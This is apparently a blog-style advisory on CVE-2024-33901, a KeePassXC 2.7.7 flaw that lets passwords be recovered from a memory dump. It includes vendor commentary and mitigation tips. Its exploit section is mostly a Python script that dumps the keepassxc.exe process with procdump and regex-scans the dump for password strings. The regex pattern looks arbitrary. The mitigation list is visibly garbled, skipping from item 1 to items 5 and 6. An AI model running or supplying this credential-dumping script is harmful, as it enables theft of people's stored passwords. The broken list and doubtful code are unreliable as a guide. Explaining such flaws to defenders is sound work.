CVE-2024-33901: Vulnerability in KeePassXC 2.7.7 Allows Password Recovery via Memory Dump

CVE-2024-33901 is a security vulnerability in KeePassXC 2.7.7, a popular open-source password manager, which allows an attacker with the same privileges as the victim to recover some of the stored passwords from the .kdbx database via a memory dump. This vulnerability has been flagged recently, and this post aims to discuss the details of the exploit, provide examples of the code snippets used, and include links to the original references.

The KeePassXC development team disputes that this is a critical issue as memory-management constraints make this unavoidable in the current design and other realistic designs. Even though the mentioned constraint remains disputable, users need to be aware of this vulnerability, understand its underlying mechanisms, and learn how to mitigate the risks associated with it.

Exploit Details

The exploit works by dumping the process memory of the running KeePassXC application that contains decrypted password data. An attacker who has sufficiently high privileges (the same as the victim's) on the target system can perform this task and subsequently retrieve stored passwords from the memory dump.

Here's a conceptual code snippet for illustration purposes

import os
import re
import subprocess

def dump_memory(process_name):
    memory_dump_file = "memory_dump.bin"
    proc = subprocess.Popen(["procdump", "-ma", process_name, memory_dump_file])
    proc.wait()
    return memory_dump_file

def extract_passwords_from_memory_dump(memory_dump_file):
    with open(memory_dump_file, "rb") as f:
        memory_contents = f.read()
    password_candidates = re.findall(rb"\x01\x00\x00\x00([^\x00]+)\x00\x00\x00\x00", memory_contents)
    return [p.decode("utf-8") for p in password_candidates]

keePassXC_memory_dump = dump_memory("keepassxc.exe")
passwords = extract_passwords_from_memory_dump(keePassXC_memory_dump)
print("\n".join(passwords))

The code snippet provided above should not be used for any malicious purposes. The aim is only to demonstrate the concept of the exploit.

Please note that the actual process of dumping the memory may vary depending on the operating system and the tools used.

Official Statement and References

The KeePassXC development team acknowledges the memory dump vulnerability. However, they argue that memory management constraints make this issue unavoidable in the current (and most potential) software design. As such, they have opted not to classify it as a critical vulnerability.

Official statement from the development team can be found at KeePassXC GitHub issue #353.

Mitigation Measures and Best Practices

While waiting for a possible fix or improvement in the software design, KeePassXC users can adopt the following best practices to minimize the risk of falling victim to this vulnerability:

1. Restrict access to your system: Be mindful of who has access to your computer and limit users with elevated privileges.

Be wary of unknown software installations and refrain from launching suspicious executables.

5. Always opt for security patches and updates from the official KeePassXC website or trusted repositories.

6. Closely follow any news and information about KeePassXC to stay aware of vulnerabilities and adopt preventive measures.

Conclusion

CVE-2024-33901 is a vulnerability in KeePassXC 2.7.7 that allows an attacker (with the same privileges as the victim) to recover passwords stored in the .kdbx database via a memory dump. The development team disputes the severity of this vulnerability, given that it is a limitation of memory management design. Users must be aware of this issue and take precautions to minimize risks. Adhering to the mitigation measures and best practices listed above can help significantly reduce the likelihood of being exploited.

Timeline

Published on: 05/20/2024 21:15:09 UTC
Last modified on: 08/02/2024 03:15:33 UTC